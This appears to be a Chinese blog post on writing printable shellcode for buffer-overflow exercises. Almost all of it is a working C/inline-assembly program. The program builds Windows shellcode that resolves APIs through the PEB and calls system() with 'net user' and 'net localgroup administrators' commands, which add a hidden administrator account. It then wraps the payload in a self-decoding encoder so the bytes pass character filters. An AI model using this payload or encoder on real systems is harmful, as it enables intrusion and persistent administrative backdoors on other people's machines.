编写便于打印的Shellcode

最近做关于溢出的题目

有的题目,生成的shellcode由于含有特殊字符,不方便让程序读取

于是将之前生成shellcode的加密解密部分稍微修改了一下

思路大概如此,以后需要用到什么样的shellcode自己修改加密解密程序生成就是了

  1 #include <stdio.h>
  2  #include <string.h>
  3  #include <stdlib.h>
  4  #include <windows.h>
  5  
  6  //#define     Debug            1;
  7  
  8  #define  Legal_Begin        0x20    //从0x20开始的可以打印
  9                                     //其中Legal_Begin用作特殊标记
 10  #define  Legal_End            0x7E    //到0x7E结束
 11  
 12  #define  Enc_key            0x7A    //编码密钥
 13  #define  FLAG_AVOID        0x30    //需要回避的字符的标记
 14  
 15  #define PROC_BEGIN    __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90\
 16      __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 
 17  #define PROC_END PROC_BEGIN
 18  #define  BEGINSTRLEN    0x08    //开始字符串长度   
 19  #define  ENDSTRLEN      0x08    //结束标记字符的长度   
 20  #define  nop_CODE       0x90    //填充字符   
 21  
 22  #define  MAX_Enc_Len    0x400   //加密代码的最大长度 1024足够?   
 23  #define  MAX_Sh_Len     0x2000  //hellCode的最大长度 8192足够?   
 24  
 25  #define  MY_SUCCEED        0
 26  #define  MY_NO_BEGIN    1
 27  #define  MY_NO_END        2
 28  #define     MY_MALLOC_ERR    3
 29  
 30  #define  MY_AVOID        0
 31  #define  MY_NO_AVOID    1
 32  
 33  void Dcrypt(void);
 34  void Shellcode(void);
 35  
 36  //将函数func的代码放到buffer指向的内存中
 37  //其中buffer指向的内存是动态分配的
 38  //func_len指向buffer的长度
 39  int get_func_code(char** buffer,//存放func的代码
 40                  char* fun,        //函数首地址
 41                  int* func_len    //指向buffer长度
 42                  );
 43  
 44  //打印对应的错误信息
 45  void print_iRet(int iRet, char* func_name);
 46  
 47  int is_legal(char ch);//判断一个字符是否要回避
 48  
 49  int Encrypt_Shell(char** buffer,//存放加密过后的字节码
 50                  char*    fun,    //原Shellcode的字节码
 51                  int        old_len,//原Shellcode的长度
 52                  int*    new_len    //加密后字节码的长度
 53                  );
 54  void my_print_Shellcode(char* Shellcode, int len);//打印最终的Shellcode 
 55  
 56  int main(int argc, char* argv[])
 57  {
 58      //取得加密函数字节码
 59      int        Dcrypt_len = 0;
 60      char*    Dcrypt_buffer = NULL;
 61      int        iRet = get_func_code(&Dcrypt_buffer, (char*)Dcrypt, &Dcrypt_len);
 62      print_iRet(iRet, "Dcrypt字节码");
 63  
 64      //取得Shellcode字节码
 65      int        Shell_len = 0;
 66      char*    Shell_buffer = NULL;
 67      iRet = get_func_code(&Shell_buffer, (char*)Shellcode, &Shell_len);
 68      print_iRet(iRet, "Shellcode原始字节码");
 69  
 70      //将Shellcode字节码加密
 71      char*    Shell_Encrypt_buffer = NULL;
 72      int        Shell_Encrypt_len = 0;
 73      iRet = Encrypt_Shell(&Shell_Encrypt_buffer, Shell_buffer, Shell_len, &Shell_Encrypt_len);
 74      print_iRet(iRet, "Shellcode加密后的字节码");
 75  
 76      //打印整体Shellcode的字节码
 77      char*    print_buffer = (char*)malloc(Dcrypt_len + Shell_Encrypt_len);
 78      memcpy(print_buffer, Dcrypt_buffer, Dcrypt_len);
 79      free(Dcrypt_buffer);
 80      memcpy(print_buffer + Dcrypt_len, Shell_Encrypt_buffer, Shell_Encrypt_len);
 81      free(Shell_buffer);
 82      free(Shell_Encrypt_buffer);
 83      my_print_Shellcode(print_buffer, Dcrypt_len + Shell_Encrypt_len);
 84      free(print_buffer);
 85      return 0;
 86  }
 87  
 88  void Dcrypt(void)
 89  {
 90      PROC_BEGIN
 91      __asm
 92      {
 93          pushad
 94          jmp   next   
 95  getEncCodeAddr:   
 96          pop   edi   
 97          push  edi   
 98          pop   esi   
 99          xor   ecx,ecx 
100  Decrypt_lop:    
101          lodsb   
102          cmp  al,cl   
103          jz   save   
104          cmp  al,Legal_Begin  //判断是否为特殊字符   
105          jz   special_char_clean   
106  store:            
107              stosb   
108          jmp  Decrypt_lop   
109  special_char_clean:    //这里要特殊注意一下,看指令里会不会包含特殊字符  
110          lodsb
111          and al,0x0f;
112          shl al,0x4;
113          mov bl,al;
114          lodsb
115          and al,0x0f;
116          add al,bl;
117          jmp store
118  save:
119          popad
120          jmp  shell
121  next:        
122          call  getEncCodeAddr
123  shell:
124              //其余真正加密的shellcode代码会连接在此处
125      }
126      PROC_END
127  }
128  
129 void Shellcode(void)
130 {
131     PROC_BEGIN
132 #ifdef    Debug
133     __asm _emit 0x1
134     __asm _emit 0x2
135 #endif
136 
137 #ifndef    Debug
138     
139     void*    hkernerl32            = NULL;
140     void*    huser32                = NULL;
141     void*    hmsvcrt                = NULL;
142 
143     void*    pGetProcAddress        = NULL;
144     void*    pLoadLibrary        = NULL;
145     void*    pExitProcess        = NULL;
146     void*    pMessageBoxA        = NULL;
147     void*    psystem                = NULL;
148     
149     //LoadLibrary("kernel32");
150     _asm
151     {        
152         //保存寄存器
153         pushad;
154         
155         //获得kernerl32基地址
156         mov eax, fs:0x30 ;PEB的地址
157         mov eax, [eax + 0x0c] ;Ldr的地址
158         mov esi, [eax + 0x1c] ;Flink地址
159         lodsd 
160         mov eax, [eax + 0x08] ;eax就是kernel32.dll的地址
161         mov hkernerl32,eax;
162         
163         //获得GetProcAddress地址
164         push ebp;
165         mov ebp, hkernerl32 ;kernel32.dll 基址
166         mov eax, [ebp+3Ch] ;eax = PE首部
167         mov edx,[ebp+eax+78h]
168         add edx,ebp ;edx = 引出表地址
169         mov ecx , [edx+18h] ;ecx = 输出函数的个数
170         mov ebx,[edx+20h] 
171         add ebx, ebp ;ebx =函数名地址,AddressOfName 
172 search:
173         dec ecx
174         mov esi,[ebx+ecx*4] 
175         add esi,ebp ;依次找每个函数名称
176         ;GetProcAddress
177         mov eax,0x50746547
178         cmp [esi], eax; 'PteG'
179         jne search
180         mov eax,0x41636f72
181         cmp [esi+4],eax; 'Acor'
182         jne search 
183         ;如果是GetProcA,表示找到了 
184         mov ebx,[edx+24h]
185         add ebx,ebp ;ebx = 序号数组地址,AddressOf
186         mov cx,[ebx+ecx*2] ;ecx = 计算出的序号值
187         mov ebx,[edx+1Ch]
188         add ebx,ebp ;ebx=函数地址的起始位置,AddressOfFunction
189         mov eax,[ebx+ecx*4] 
190         add eax,ebp ;利用序号值,得到出GetProcAddress的地址
191         pop ebp;
192         mov pGetProcAddress,eax;
193 
194         //获得LoadLibraryA地址
195         //push strLoadLibrary;"LoadLibraryA"
196         call    _getLoadLib   
197         _emit 0x4C   
198         _emit 0x6F   
199         _emit 0x61   
200         _emit 0x64   
201         _emit 0x4C   
202         _emit 0x69   
203         _emit 0x62   
204         _emit 0x72   
205         _emit 0x61   
206         _emit 0x72   
207         _emit 0x79   
208         _emit 0x41   
209         _emit 0x0   
210         //db      "LoadLibraryA",0              
211 _getLoadLib:
212         push hkernerl32;
213         mov eax,pGetProcAddress;
214         call eax;        GetProcAddress
215         mov pLoadLibrary,eax;
216         pop eax;
217         pop eax;        平衡堆栈
218         
219         //下面是自己的实验
220         //LoadLibraryA("msvcrt.dll")
221         //push strmsvcrt
222         call    _getmsvcrt
223         _emit 'm'
224         _emit 's'
225         _emit 'v'
226         _emit 'c'
227         _emit 'r'
228         _emit 't'
229         _emit '.'
230         _emit 'd'
231         _emit 'l'
232         _emit 'l'
233         _emit '\0'
234 _getmsvcrt:
235         mov eax,pLoadLibrary;
236         call eax;
237         mov hmsvcrt, eax;
238         pop eax;
239 
240         //push strsystem
241         call _getsystem
242         _emit 's'
243         _emit 'y'
244         _emit 's'
245         _emit 't'
246         _emit 'e'
247         _emit 'm'
248         _emit '\0'
249 _getsystem:
250         push hmsvcrt;
251         mov eax,pGetProcAddress;
252         call eax;
253         mov psystem,eax;
254         pop eax;
255         pop eax;        平衡堆栈
256         
257         call _get_add_user
258         _emit 'n'
259         _emit 'e'
260         _emit 't'
261         _emit ' '
262         _emit 'u'
263         _emit 's'
264         _emit 'e'
265         _emit 'r'
266         _emit ' '
267         _emit 'x'
268         _emit 'd'
269         _emit '_'
270         _emit 'h'
271         _emit 'a'
272         _emit 'c'
273         _emit 'k'
274         _emit ' '
275         _emit 's'
276         _emit 'u'
277         _emit 'c'
278         _emit 'c'
279         _emit 'e'
280         _emit 's'
281         _emit 's'
282         _emit ' '
283         _emit '/'
284         _emit 'a'
285         _emit 'd'
286         _emit 'd'
287         _emit '\0'
288 _get_add_user:
289         mov eax,psystem;
290         call eax;
291         pop eax;
292         call _get_adm_group
293         _emit 'n'
294         _emit 'e'
295         _emit 't'
296         _emit ' '
297         _emit 'l'
298         _emit 'o'
299         _emit 'c'
300         _emit 'a'
301         _emit 'l'
302         _emit 'g'
303         _emit 'r'
304         _emit 'o'
305         _emit 'u'
306         _emit 'p'
307         _emit ' '
308         _emit 'a'
309         _emit 'd'
310         _emit 'm'
311         _emit 'i'
312         _emit 'n'
313         _emit 'i'
314         _emit 's'
315         _emit 't'
316         _emit 'r'
317         _emit 'a'
318         _emit 't'
319         _emit 'o'
320         _emit 'r'
321         _emit 's'
322         _emit ' '
323         _emit 'x'
324         _emit 'd'
325         _emit '_'
326         _emit 'h'
327         _emit 'a'
328         _emit 'c'
329         _emit 'k'
330         _emit ' '
331         _emit '/'
332         _emit 'a'
333         _emit 'd'
334         _emit 'd'
335         _emit '\0'
336 _get_adm_group:
337         mov eax,psystem;
338         call eax;
339         pop eax;
340 
341         call _getExitProcess
342         _emit 'E'
343         _emit 'x'
344         _emit 'i'
345         _emit 't'
346         _emit 'P'
347         _emit 'r'
348         _emit 'o'
349         _emit 'c'
350         _emit 'e'
351         _emit 's'
352         _emit 's'
353         _emit '\0'
354 _getExitProcess:
355         push hkernerl32;
356         mov eax,pGetProcAddress;
357         call eax;        GetProcAddress
358         mov pExitProcess,eax;
359         pop eax;
360         pop eax;        平衡堆栈
361 
362         //MessageBoxA(NULL, "你被溢出了!", "xiaoma", MB_OK)
363         //push struser32;
364         call    _getUser
365         _emit 0x75
366         _emit 0x73
367         _emit 0x65
368         _emit 0x72
369         _emit 0x33
370         _emit 0x32
371         _emit 0x2E
372         _emit 0x64
373         _emit 0x6C
374         _emit 0x6C
375         _emit 0x0
376 _getUser:
377         mov eax,pLoadLibrary;
378         call eax;
379         mov huser32,eax;
380         pop eax;
381         
382         //push strMessageBoxA;"MessageBoxA"
383         call    _getMessage
384         _emit 0x4D
385         _emit 0x65
386         _emit 0x73
387         _emit 0x73
388         _emit 0x61
389         _emit 0x67
390         _emit 0x65
391         _emit 0x42
392         _emit 0x6F
393         _emit 0x78
394         _emit 0x41
395         _emit 0x0
396 _getMessage:
397         push huser32;
398         mov eax,pGetProcAddress;
399         call eax;        GetProcAddress
400         mov pMessageBoxA,eax;
401         pop eax;
402         pop eax;        平衡堆栈
403         
404         call _getCaption
405         _emit 'O'
406         _emit 'v'
407         _emit 'e'
408         _emit 'r'
409         _emit 'f'
410         _emit 'l'
411         _emit 'o'
412         _emit 'w'
413         _emit '\0'
414 _getCaption:
415         pop  edi;
416         call _getText
417         _emit 'E'
418         _emit 'x'
419         _emit 'p'
420         _emit 'l'
421         _emit 'o'
422         _emit 'i'
423         _emit 't'
424         _emit ' '
425         _emit 's'
426         _emit 'u'
427         _emit 'c'
428         _emit 'e'
429         _emit 's'
430         _emit 's'
431         _emit '\0'
432 _getText:
433         pop  esi;
434         push MB_OK;
435         push edi;
436         push esi;
437         push 0h;
438         mov eax,pMessageBoxA;
439         call eax;
440         pop eax;
441         pop eax;
442         pop eax;
443         pop eax;
444         
445         push 0x0;
446         mov eax,pExitProcess;
447         call eax;
448         pop eax;
449         
450         //恢复寄存器
451         popad;
452     }
453 #endif
454     PROC_END
455 }
456  
457  int Encrypt_Shell(char** buffer, char*    fun, int old_len, int* new_len)
458  {
459      *buffer = (char*)malloc(3 * old_len);
460      if (*buffer == NULL)
461      {
462          return MY_MALLOC_ERR;
463      }
464      int        i = 0, k = 0;
465      char    ch = 0;
466      for (i = 0; i < old_len; i++)
467      {
468          ch = (*(fun + i));
469          if ( is_legal(ch) == MY_AVOID )//如果某个字符需要回避
470          {
471              *(*buffer + k) = Legal_Begin;
472              k++;
473              *(*buffer + k) = 0x40 + (((unsigned char)(ch&0xf0)) >> 4);
474              k++;
475              *(*buffer + k) = 0x40 + (ch&0x0f);
476              k++;
477          }
478          else
479          {
480              *(*buffer + k) = ch;
481              k++;
482          }
483      }
484      *new_len = k;
485      return(MY_SUCCEED);
486  }
487  
488  int get_func_code(char** buffer, char* fun, int* func_len)
489  {
490      //返回码:
491      int        i = 0;
492      char*    func_begin    =    fun;
493      char*    func_end    =    NULL;
494      char*    fnbgn_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";  //标记开始的字符串   
495      char*    fnend_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";  //标记结束的字符串
496  
497      //处理DEBUG版本里面的跳转表
498      /*char ch = *func_begin;
499      char temp = 0xE9;*/
500      if (*func_begin == (char)0xE9)
501      {
502          func_begin++;
503          i = *(int*)func_begin;
504          func_begin += (i+4);
505      }
506  
507      //通过寻找开始的标记
508      //找到解码部分的开头地址
509      for (i = 0; i < MAX_Enc_Len; i++)
510      {
511          if (memcmp(func_begin+i, fnbgn_str, BEGINSTRLEN) == 0)
512          {
513              break;
514          }
515      }
516      if (i < MAX_Enc_Len)
517      {
518          func_begin += (i + BEGINSTRLEN);//定位到开始部分的代码
519      }
520      else
521      {
522          return MY_NO_BEGIN;    //没找到开始的标记
523      }
524  
525      //通过寻找结尾的标记
526      //找到解码部分的结束地址
527      i = 0;
528      for (func_end = func_begin; i < MAX_Enc_Len; i++)
529      {
530          if (memcmp(func_end+i, fnend_str, ENDSTRLEN) == 0)
531          {
532              break;
533          }
534      }
535      if (i < MAX_Enc_Len)
536      {
537          func_end += i;//定位到结尾处的代码
538      }
539      else
540      {
541          return MY_NO_END;//没找到结尾的标记
542      }
543  
544      *func_len = func_end - func_begin;//解码部分代码长度
545  
546      *buffer = (char*)malloc(*func_len);//分配地址储存解码的代码
547      if (*buffer == NULL)
548      {
549          return MY_MALLOC_ERR;
550      }
551      memcpy(*buffer, func_begin, *func_len);
552  
553      return MY_SUCCEED;
554  }
555  
556  void print_iRet(int iRet, char* func_name)
557  {
558      switch (iRet)
559      {
560      case MY_SUCCEED:
561          printf("获取%s成功!\n",func_name);
562          break;
563      case MY_NO_BEGIN:
564          printf("无法找到%s的头部标记!\n程序退出\n",func_name);
565          exit(1);
566          break;//不会执行到
567      case MY_NO_END:
568          printf("无法找到%s的尾部标记!\n程序退出\n",func_name);
569          exit(1);
570          break;//不会执行到
571      case MY_MALLOC_ERR:
572          printf("在获取%s字节码的时候分配内存错误!\n程序退出\n",func_name);
573          exit(1);
574          break;
575      default:
576          puts("未知的返回码!\n程序退出\n");
577          exit(1);
578          break;
579      }
580  }
581  
582  int is_legal(char ch)
583  {
584      
585      if (ch < Legal_Begin+1 || ch > Legal_End)
586      {
587          return MY_AVOID;//需要替换
588      }
589      return MY_NO_AVOID;    //不需要替换
590  }
591  
592  void my_print_Shellcode(char* Shellcode, int len)
593  {
594      int i = 0, k = 0;
595      for (i = 0; i < len; i++)
596      {
597          if (k == 0)
598          {
599              putchar('"');
600          }
601          printf("\\x%.2X", (unsigned char)Shellcode[i]);
602          k++;
603          if (k == 16)
604          {
605              putchar('"');
606              putchar('\n');
607              k = 0;
608          }
609      }
610      if (k != 16)
611      {
612          puts("\"\n");
613      }
614  }
原文地址:https://www.cnblogs.com/02xiaoma/p/2714567.html